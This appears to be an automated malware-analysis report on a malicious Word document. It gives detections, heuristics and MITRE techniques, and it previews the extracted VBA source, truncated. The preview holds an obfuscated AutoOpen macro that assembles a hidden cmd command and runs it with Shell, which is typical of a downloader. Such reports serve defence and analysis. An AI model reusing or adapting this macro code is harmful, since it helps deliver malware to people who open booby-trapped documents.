MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The AutoOpen macro attempts to construct and execute a command string using Shell, indicating a downloader or executioner role. The obfuscated nature of the command string and the use of legacy WordBasic markers suggest a potentially older but still active malware delivery method.
Heuristics 5
-
ClamAV: Doc.Malware.Valyria-6735715-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6735715-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 29723 bytes |
SHA-256: 831614cd71219df8270d1591dba916d447de8f28a6c1285cc7561766d30988b2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jovqOBvRlNiVR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
MJjaaH = SrzLBh
TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
uSrnF = 6
wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
XtHEU = 311
rGjsB = CBool(5)
Shell@ wMYIzu, 0
aoLiA = Cos(4874)
End Sub
Attribute VB_Name = "YaRCzHvjhlTcHt"
Function UIzWwNJL()
On Error Resume Next
pVACZ = HSdsnf
mJozl = Tan(QrIbjZ)
oMUAvlYns = "d" + " " + " " + " " + "/c "
LJOfVD = CBool(501)
PwqWjj = " " + " C" + "Md /v: " + " /" + "c" + " " + CStr(Chr(sViAWzlZ + owfLcccnOWbdLQ + 34 + BRiakHGuVF + TaqdscXLms)) + " sEt " + " '{@]"
zbzwN = Sin(SzkGU)
wWDfN = 816
bWLVN = CLng(60)
nQwiJw = "=\_\_" + "---/-\_\/"
zFRjV = 233439149
PZliT = 3364
WNzQnYIZrOs = "_/ /"
ktzHvh = 40
qikYm = Rnd(32873 * XErOo * 94395 + wKvFzb)
orFUhB = UuTJw
knGAXnff = "/\_" + "-" + "_-\\" + "\"
UIzWwNJL = oMUAvlYns + PwqWjj + nQwiJw + WNzQnYIZrOs + knGAXnff
ODYll = Rnd(62815 * 24518)
uFica = Tan(NHjlzq + SRjCMk)
iBrUaB = CDate(qjkjz)
End Function
Function uTAvWVmp()
On Error Resume Next
KJzJRNGo = "--/__"
HCfdb = CLng(96462 - hBquj * 69058 / bRoPDH)
lqajYs = Log(5)
rMPEmI = jGQABQ
FtOqDwjuOr = " -/" + "_/_\-" + "\" + "--\//_\ " + "\" + "//_-\-_\/" + "_-/-\ -\_\"
QQlFa = Rnd(95)
IfuhSd = CBool(OtibiN)
mcmDFYXVjwZ = "-/-_//\_-" + "_/ \/_/" + "//_\" + "_-" + "--_-\ /\_-" + "_-_/--"
jlMsO = Chr(24655 * sqlYiP)
IwZZV = jsiwY
PFiwM = Hex(2)
FZYqdYjvCH = "\_/\\" + " \-\\/" + "/" + "_" + "_/-/"
ofdkNz = 4
vzQWSL = GkdCDl
pMkiUDCXpaC = "-_" + "\- \/" + "\/_\/_-" + "\/-__- -_" + "-\/\"
QnDtiw = UUtuoI
QVvoMvFaUpA = "\_-_" + "///\- " + "//-_" + "_--\_-\/" + "/_\"
uTAvWVmp = KJzJRNGo + FtOqDwjuOr + mcmDFYXVjwZ + FZYqdYjvCH + pMkiUDCXpaC + QVvoMvFaUpA
GBOvXR = vztQvH
End Function
Function hQqafY()
On Error Resume Next
EjTjGH = Oct(SiPzAH)
fvNMrf = Sgn(7)
XdFiH = CByte(cnnhj)
zPFaFT = " -" + "-" + "_\_///-" + "\\-\/_ _/-" + "\\-\/\-_/-"
GIaQaHS = "__ --_//__" + "--_/\\\" + "\ -\/_\"
OruhHWmjOv = "-/_\" + "/-\/-_" + " _/-/\\"
MNlEY = WaQFCw
SVDYa = Cos(pivFv / zPAAF + tNGdAJ - HsUWAK)
QHVfjmqmKU = "\" + "/-_" + "_/\-- --\" + "/-//" + "\/\_\-__ -"
HzQSM = "-/\___/\//" + "\_\-}\\/-_" + "_/-_//_\\"
MMmiXQ = CStr(oVujS)
TSEizDTmBE = "-"
hQqafY = zPFaFT + GIaQaHS + OruhHWmjOv + QHVfjmqmKU + HzQSM + TSEizDTmBE
uuHKl = 856
End Function
Function tSJJEbjfzB()
On Error Resume Next
UZMIK = CDbl(7)
hFWnpY = 9052
CPmQviWiwz = "}\\/" + "/_\\" + "_-" + "-_/--_{_"
YZbAmp = Sqr(OjkOpV)
lLZPJ = Tan(YHEFKH + NwiwQE / BcLPYi - sCNBf)
ljWAJQbAmzq = "-//" + "__-\/\" + "--/\\h_/\" + "/_/\-" + "/" + "\-_--_c_"
blqOvduv = "\_" + "/\/-\--"
LuJzPI = Log(20)
FWVOUMU = "/" + "\/-_t//" + "_\--\_/" + "/\--\_a" + "\-_\\__-" + "-/-"
tSJJEbjfzB = CPmQviWiwz + ljWAJQbAmzq + blqOvduv + FWVOUMU
EPUBH = VcQZS
ajjErE = Int(owoWCv * PzmtbB)
End Function
Function izvaAvGAmP()
On Error Resume Next
AJsfj = 42
EutHi = "///\c/-\_/" + "-_\_\/_" + "-/-}/\_/\" + "\___-/--\-" + ";_-/_--" + "//\\-/" + "\\_k\_/-"
pvpiD = "_" + "\//" + "_-_-\\/a-" + "\/\/_" + "-/-\" + "-\_/" + "_e-_\_-"
GfPQu = CBool(cPYII)
SkWYMjjKpT = "\-/_/\" + "//-\r-//" + "_\_\_\-_-/" + "/\b--\_//" + "\-_//\__-" + ";//\/\-_-" + "\\/_-_-h"
wknSG = Hex(cBvShr / IplrbU)
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.